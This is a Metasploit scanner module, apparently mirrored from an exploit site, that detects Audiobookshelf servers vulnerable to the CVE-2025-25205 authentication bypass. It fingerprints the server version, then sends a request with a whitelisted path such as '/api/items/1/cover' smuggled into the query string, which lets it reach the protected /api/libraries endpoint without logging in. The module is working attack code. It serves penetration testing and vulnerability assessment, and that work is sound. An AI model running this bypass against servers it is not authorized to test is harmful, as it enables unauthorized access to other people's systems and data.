## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-AUDIOBOOKSHELF_AUTH_BYPASS-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# Affected range per the advisory: 2.17.0 <= version <= 2.19.0 (patched in 2.19.1).
VULNERABLE_MIN = Rex::Version.new('2.17.0')
PATCHED_VERSION = Rex::Version.new('2.19.1')
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Audiobookshelf Unauthenticated API Authentication Bypass Scanner',
'Description' => %q{
This module detects Audiobookshelf servers affected by CVE-2025-25205, an
unauthenticated authentication bypass. Affected versions (2.17.0 through
2.19.0) decide whether a GET request may skip authentication by testing an
unanchored regular expression against the request's full original URL,
including the query string, rather than the normalized path. By appending a
query parameter whose value contains a whitelisted substring such as
/api/items/1/cover, an unauthenticated client reaches protected API
endpoints.
The module fingerprints the server and version through the unauthenticated
/status endpoint, then sends two requests to the protected /api/libraries
endpoint: a baseline request that must be rejected with HTTP 401, and a
bypass request carrying the whitelisted substring in its query string. On a
vulnerable server the bypass request is processed instead of rejected, which
this module treats as confirmation. It deliberately avoids endpoints such as
/api/users that crash the server process (the denial-of-service half of this
CVE).
},
'Author' => [
'swiftbird07', # vulnerability discovery and advisory
'Kenneth LaCroix' # Metasploit module
],
'References' => [
['CVE', '2025-25205'],
['GHSA', 'pg8v-5jcv-wrvw'],
['URL', 'https://github.com/advplyr/audiobookshelf/commit/ec6537656925a43871b07cfee12c9f383844d224']
],
'DisclosureDate' => '2025-02-12',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultOptions' => { 'RPORT' => 13_378, 'SSL' => false }
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Audiobookshelf', '/'])
]
)
end
# Fingerprint the target via the unauthenticated /status endpoint.
# Returns the reported server version string, or nil if this does not look
# like an Audiobookshelf instance.
def fingerprint_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'status')
)
return nil unless res && res.code == 200
json = res.get_json_document
return nil unless json.is_a?(Hash) && json['app'].to_s.casecmp?('audiobookshelf')
json['serverVersion']
end
# Differential auth-bypass check against the protected /api/libraries endpoint:
# a baseline request must be rejected with HTTP 401, while the bypass request
# (carrying a whitelisted substring in its query) is processed instead of
# rejected. On a vulnerable server the bypass request reaches the handler, which
# returns 200 or 500 (the handler dereferences the now-undefined user); a patched
# server returns 401 to both.
def auth_bypassed?
baseline = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'libraries')
)
return false unless baseline && baseline.code == 401
bypass = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'libraries'),
'vars_get' => { 'r' => '/api/items/1/cover' }
)
return false unless bypass
bypass.code == 200 || bypass.code == 500
end
def check_host(_ip)
version = fingerprint_version
return Exploit::CheckCode::Unknown('Target does not appear to be Audiobookshelf') if version.nil?
return Exploit::CheckCode::Vulnerable("Audiobookshelf #{version} - authentication bypass confirmed") if auth_bypassed?
begin
parsed = Rex::Version.new(version)
if parsed >= VULNERABLE_MIN && parsed < PATCHED_VERSION
return Exploit::CheckCode::Appears("Audiobookshelf #{version} is in the affected range but the bypass was not confirmed")
end
rescue ArgumentError
# Unparsable version string; fall through to Safe with the raw value.
end
Exploit::CheckCode::Safe("Audiobookshelf #{version} - bypass not confirmed")
end
def run_host(_ip)
version = fingerprint_version
unless version
vprint_status("#{peer} - Target does not appear to be Audiobookshelf")
return
end
vprint_status("#{peer} - Audiobookshelf #{version} detected")
unless auth_bypassed?
print_status("#{peer} - Audiobookshelf #{version} - not vulnerable (authentication enforced)")
return
end
print_good("#{peer} - Audiobookshelf #{version} - unauthenticated API authentication bypass confirmed (CVE-2025-25205)")
report_vuln(
host: rhost,
port: rport,
name: name,
info: "Audiobookshelf #{version} unauthenticated API authentication bypass",
refs: references
)
end
end